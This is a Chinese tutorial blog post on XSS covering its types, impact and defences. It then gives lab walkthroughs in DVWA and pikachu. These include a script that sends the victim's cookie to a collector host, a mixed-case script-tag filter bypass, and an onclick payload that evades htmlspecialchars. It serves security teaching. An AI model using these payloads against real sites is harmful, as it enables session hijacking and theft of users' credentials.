xss 漏洞分析

1 ,漏洞简介

  1. XSS 的原理 跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。XSS 攻击针对的是用户层面的攻击!

  2. 分类 XSS 分为:存储型 、反射型 、DOM 型 XSS 存储型 XSS:存储型 XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫,盗窃 cookie 反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。 DOM 型 XSS:不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS

2 ,漏洞影响范围

  1. Web 应用程序:XSS 漏洞主要影响 Web 应用程序,特别是那些允许用户输入和显示内容的网页应用程序。如果开发人员没有正确过滤或转义用户输入的数据,攻击者可以插入恶意脚本代码,并在受害者浏览器中执行。

  2. 受害者浏览器:XSS 漏洞通过操纵 Web 应用程序输出到受害者浏览器的 HTML 或 JavaScript 代码来实施攻击。一旦受害者浏览器加载了带有恶意脚本的页面,攻就可以执行作,如窃取用户信息、篡改页面内容或进行其他恶意活动。

  3. 用户:任何与受影响的 Web 应用程序交互

3 ,漏洞详解

xss 攻击通过注入恶意脚本到受害者的浏览器中执行,从而实施攻击

  1. 漏洞原理:XSS 漏洞发生在 Web 应用程序未正确对用户输入进行验证、过滤或转义,导致恶意脚本可以被插入到动态生成的 HTML 页面中,当其他用户访问该页面时,恶意脚本会在其浏览器中执行。

  2. 攻击类型:

    • 反射型 XSS:攻击者将恶意脚本作为参数或数据提交给 Web 应用程序,然后服务器将这些恶意内容回显到响应页面,如果用户点击包含恶意脚本的链接,则恶意脚本会在其浏览器中执行。

    • 存储型 XSS:攻击者将恶意脚本存储在 Web 应用程序的数据库或其他持久性存储中,然后其他用户在浏览相关内容时,服务器会将存储的恶意脚本返回给他们的浏览器,从而执行攻击。

  3. 攻击影响:

    • 数据窃取:攻击者通过 XSS 可以窃取受害者的敏感信息,如登录凭据、Cookie 数据或其他个人隐私信息。 会话劫持:攻击者可以利用 XSS 漏洞获取受害者的会话信息,以伪装成受害者,并执行某些操作。

    • 网站篡改:攻击者可以通过注入恶意代码来更改网站内容、插入广或钓鱼页面。

  4. 防御措施:

    • 输入验证和过滤:对用户输入数据进行有效验证和过滤,确保不包含恶意脚本。

    • 输出转义:在将用户数据插入到 HTML 或 JavaScript 代码之前,使用适当的编码/转义,可以防止被解析为可执行代码。

    • 安全编码实践:采用安全的开发实践,如使用 Web 框架或库提供的安全方法。

    • 内容安全策略(CSP):实施 CSP 可以帮助限制浏览器中可执行的内容来源,用于防止 XSS 攻击。

实例

dvwa

反射性 xss:

获取 cookie 值

 

 存储型(持久型),每次进入页面或者刷新都会被执行

 

内容被存储

 DOM 型 XSS

将English修改为ch

 

 

pikachu

cookie 获取

 

反射 get 型 xss

  • 首先在 pikachu 的 xss(get)请求中构造 payload <script>document.location='http://pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

 输入框长度受限,修改到 200000,然后输入 payload,提交

 

提交成功后进入 pkxss 后台查看获取的 cookie

 反射 post 型 xss

使用反射型 xss(post),可以看到数据是以 post 的形式传递在请求体中

 构造 form 表单

 构造 url,让登录用户点击 url,提交表单,获取 cookie,从而拿到用户的登录名和密码

 存储型 xss

提交以后有弹框,下次打开自动弹框

 

 xss 绕过

script标签大小写绕过

<ScRipt>alert(666)</ScRipt>

 

 htmlspecialcharts

后端使用 htmlspecialcharts 对输入的特殊字符进行过滤但是对'不过滤

构造 payload

x' οnclick='alert(9999)'

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值